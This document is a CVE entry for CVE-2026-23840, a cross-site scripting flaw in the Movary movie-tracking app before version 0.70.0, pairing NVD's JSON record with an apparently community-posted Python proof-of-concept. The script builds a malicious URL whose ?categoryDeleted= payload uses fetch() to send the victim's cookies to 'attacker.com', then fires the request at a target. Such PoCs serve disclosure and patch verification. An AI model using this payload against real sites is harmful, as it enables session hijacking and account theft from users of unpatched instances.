CVE-2026-23840

import requests import urllib.parse # CVE-2026-23840 XSS PoC # Target: Movary < 0.70.0 # Parameter: ?categoryDeleted= target_url = "http://target-site.com/" # Replace with target URL # XSS payload to steal cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Encode the payload encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious URL malicious_url = f"{target_url}?categoryDeleted={encoded_payload}" print(f"[*] Generating malicious URL...") print(f"[*] Payload: {xss_payload}") print(f"[*] URL: {malicious_url}") # Send the request try: response = requests.get(malicious_url, timeout=10) print(f"[+] Request sent successfully") print(f"[+] Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-23840", "sourceIdentifier": "[email protected]", "published": "2026-01-19T19:16:04.227", "lastModified": "2026-02-03T14:47:15.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Movary is a web application to track, rate and explore your movie watch history. Due to insufficient input validation, attackers can trigger cross-site scripting payloads in versions prior to 0.70.0. The vulnerable parameter is `?categoryDeleted=`. Version 0.70.0 fixes the issue."}, {"lang": "es", "value": "Movary es una aplicación web para rastrear, calificar y explorar tu historial de películas vistas. Debido a una validación de entrada insuficiente, los atacantes pueden activar cargas útiles de cross-site scripting en versiones anteriores a la 0.70.0. El parámetro vulnerable es '?categoryDeleted='. La versión 0.70.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:leepeuker:movary:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.70.0", "matchCriteriaId": "97791827-BE81-4574-9CDC-B0033B5ADE68"}]}]}], "references": [{"url": "https://github.com/leepeuker/movary/blob/main/public/js/settings-account-location.js#L204", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/leepeuker/movary/releases/tag/0.70.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/leepeuker/movary/security/advisories/GHSA-pj3m-gmq8-2r57", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}